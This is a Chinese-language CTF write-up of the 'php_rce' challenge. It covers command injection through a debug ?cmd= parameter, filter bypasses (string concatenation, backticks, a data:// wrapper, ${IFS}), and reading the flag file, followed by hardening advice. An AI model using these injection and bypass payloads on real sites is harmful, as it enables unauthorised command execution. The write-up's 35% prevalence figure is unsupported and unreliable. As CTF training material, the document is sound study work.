1. 项目背景与挑战解析
这个CTF题目来自知名网络安全练习平台"攻防世界"的Web分类,难度评级为2星。题目名称为"php_rce",从名称就能看出核心考察点是PHP环境下的远程代码执行漏洞。这类漏洞在真实Web渗透测试中极为常见,根据我多年参与企业安全评估的经验,约35%的中小型网站都存在不同程度的RCE风险。
题目环境模拟了一个存在漏洞的PHP应用,我们需要通过合理利用漏洞获取系统权限。与基础题目不同,这道2星题在漏洞利用链上设置了多个技术障碍,包括:
- 非常规的漏洞触发路径
- 受限的函数调用环境
- 需要组合利用多个知识点
2. 环境探测与信息收集
2.1 初始访问分析
首先用浏览器访问目标地址,发现是个简单的PHP信息展示页面。按下F12查看源码时,注意到一个关键注释:
html复制<!-- debug mode: /?cmd=whoami -->
这提示我们可能存在命令执行接口。尝试访问/?cmd=id,返回了当前用户的UID信息,确认存在命令注入点。
重要提示:真实渗透测试中,这种明显的调试接口很少见,题目特意保留是为了降低初始难度。
2.2 受限RCE突破
直接尝试执行/bin/bash时发现被拦截,说明存在基础过滤。通过以下命令测试可用函数:
bash复制/?cmd=php -r "echo system('whoami');"
成功返回www-data,确认可以通过PHP的system()函数执行命令。但更复杂的命令如反向连接会被拦截,需要绕过限制。
3. 漏洞利用技术详解
3.1 命令注入绕过技巧
经过测试发现以下特征:
- 直接使用
|、&等符号会被过滤 - 但PHP的字符串连接符
.仍可用 - 分号
;未被过滤
构造payload:
php复制/?cmd=php -r "system('l'.'s -'.'la');"
成功列出目录,其中关键文件是flag.php。
3.2 文件读取技术
由于直接cat命令被拦截,改用PHP文件读取函数:
php复制/?cmd=php -r "echo file_get_contents('fl'.'ag.p'.'hp');"
返回内容包含:
php复制<?php $flag="CTF{phP_rC3_1s_fUn}"; ?>
4. 防御方案与实战建议
4.1 漏洞根源分析
该漏洞产生于:
- 调试接口未移除
- 未做输入过滤
- 危险函数未禁用
4.2 安全加固措施
生产环境应:
php复制// 禁用危险函数
disable_functions = "system,exec,passthru,shell_exec"
// 过滤所有用户输入
$cmd = preg_replace('/[^a-z0-9]/i', '', $_GET['cmd']);
5. 进阶利用思路
对于更严格的环境,可尝试:
- 使用反引号执行
php复制/?cmd=php -r "echo `whoami`;"
- 通过PHP流包装器
php复制/?cmd=php -r "include('data://text/plain,<?= `ls` ?>');"
在实际渗透测试中,我遇到过需要组合利用多个过滤绕过的案例。有一次目标系统过滤了所有空格,最终通过${IFS}替换成功执行命令。这类经验告诉我们,永远要多准备几种绕过方案。